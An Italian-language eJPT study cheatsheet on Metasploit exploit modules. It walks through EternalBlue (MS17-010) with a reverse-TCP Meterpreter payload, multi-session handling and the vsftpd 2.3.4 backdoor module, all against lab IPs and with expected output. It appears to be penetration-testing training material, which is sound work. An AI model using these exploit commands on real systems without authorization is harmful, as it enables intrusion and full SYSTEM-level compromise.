← Tutti i cheatsheet

eJPT · Metasploit Framework

Exploit Modules

Difficoltà: Intermediate Time to Master: 2.5h Prerequisiti: 02-Auxiliary-Modules.md Lab: INE PTS, Exploitation labs


Obiettivo

Qui arrivi al momento che aspettavi da quando hai iniziato: trasformare un modulo Metasploit in una sessione aperta sul target. Il flusso è sempre lo stesso — exploit -> payload -> sessione — e MS17-010/EternalBlue è il case study che lo insegna meglio di chiunque altro, tanto che è uno dei moduli più citati nel syllabus eJPTv2. Da lì impari anche a gestire più sessioni in parallelo, perché in un vero assessment raramente c’è solo un host vulnerabile.


Concetti chiave

Flusso standard di un exploit Metasploit

  1. use exploit/...: carica il modulo
  2. show options / show targets: verifica parametri e target OS specifico
  3. set RHOSTS, set LHOST, eventuali opzioni SMB/credenziali
  4. set payload ...: scegli il payload (spesso già impostato un default sensato)
  5. check: verifica se il target risulta vulnerabile SENZA sfruttarlo (non tutti i moduli lo supportano)
  6. exploit o run: lancia l’attacco

check vs exploit

check invia una richiesta non invasiva per verificare la vulnerabilità: utile prima di un exploit rischioso/instabile come EternalBlue, che può causare BSOD su target non idonei. Ma non fidarti ciecamente della risposta: non tutti i moduli implementano check in modo affidabile, e un “Cannot Reliably Check Exploitability” non significa affatto che il target non sia vulnerabile — significa solo che il modulo non sa dirtelo con certezza.

Gestione sessioni

Comando Effetto
sessions -l elenca le sessioni attive
sessions -i 1 interagisce con la sessione 1
background (in sessione) mette la sessione in background senza chiuderla
sessions -k 1 termina la sessione 1

Strumenti

Tool Comando base Output Note
exploit/windows/smb/ms17_010_eternalblue vedi Esempio 1 sessione meterpreter SYSTEM richiede SMBv1 attivo, target non patchato MS17-010
exploit/multi/handler use exploit/multi/handler listener per payload generati con msfvenom vedi 04-Meterpreter-Msfvenom.md
exploit/unix/ftp/vsftpd_234_backdoor set RHOSTS ...; run shell su vsftpd 2.3.4 backdoored esempio classico Linux/FTP

Payload / Esempi

Esempio 1: EternalBlue completo (case study MS17-010)

msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 10.10.10.5
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 10.10.14.2
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > check
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit

Output atteso:

[*] 10.10.10.5:445 - Host is likely VULNERABLE to MS17-010!
[*] Started reverse TCP handler on 10.10.14.2:4444
[+] 10.10.10.5:445 - The target is vulnerable.
[*] Meterpreter session 1 opened (10.10.14.2:4444 -> 10.10.10.5:49158)

Spiegazione: check conferma la vulnerabilità prima di rischiare instabilità del target; una volta ottenuta la sessione, il SYSTEM privilege è già garantito dalla natura kernel-level dell’exploit (nessun privesc separato necessario in questo caso specifico).

Esempio 2: gestione di sessioni multiple

msf6 exploit(windows/smb/ms17_010_eternalblue) > sessions -l
msf6 exploit(windows/smb/ms17_010_eternalblue) > sessions -i 1
meterpreter > background
msf6 exploit(windows/smb/ms17_010_eternalblue) > sessions -i 2

Output atteso:

Active sessions
===============
  Id  Name  Type                     Information            Connection
  --  ----  ----                     -----------            ----------
  1         meterpreter x64/windows  NT AUTHORITY\SYSTEM     10.10.14.2:4444 -> 10.10.10.5:49158
  2         meterpreter x64/windows  NT AUTHORITY\SYSTEM     10.10.14.2:4444 -> 10.10.10.7:49201

Spiegazione: in un assessment con più host vulnerabili è normale avere sessioni parallele; background (o Ctrl+Z) sospende senza chiudere, permettendo di tornare a msfconsole e aprirne altre.

Esempio 3: exploit Linux su servizio storicamente backdoored

msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 10.10.10.8
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

Spiegazione: vsftpd 2.3.4 (2011) conteneva un backdoor inserito da terzi nel codice sorgente distribuito: una connessione con username terminante in :) apre una shell sulla porta 6200. Esempio didattico classico per capire quanto sia critico verificare l’integrita del software scaricato.


Lab Hands-On

Lab 1: INE PTS, Exploitation con Metasploit

Obiettivo: sfruttare almeno 2 servizi diversi (Windows e Linux) fino a ottenere una sessione Difficulty: Media Time: 1.5h

Walkthrough breve:

  1. Riusa gli host/servizi già in database da 02-Auxiliary-Modules.md
  2. Cerca exploit corrispondenti alle versioni trovate
  3. Verifica con check dove disponibile, poi esegui
  4. Passa alla sessione con 04-Meterpreter-Msfvenom.md

Common Mistakes

  • Lanciare exploit instabili (es. EternalBlue) senza check su ambienti dove un crash e critico -> in un lab e accettabile, in un engagement reale va concordato
  • Dimenticare set LHOST corretto (deve essere l’IP raggiungibile dal target, non 127.0.0.1) -> nessuna connessione di ritorno
  • Perdere traccia di quale sessione corrisponde a quale host -> usa sessions -l spesso


Connessioni


Checklist di padronanza

  • So eseguire il flusso completo use/set/check/exploit
  • So spiegare cosa fa check e i suoi limiti
  • So gestire sessioni multiple con sessions -l/-i/-k
  • Conosco almeno 2 exploit case study (Windows SMB, Linux FTP)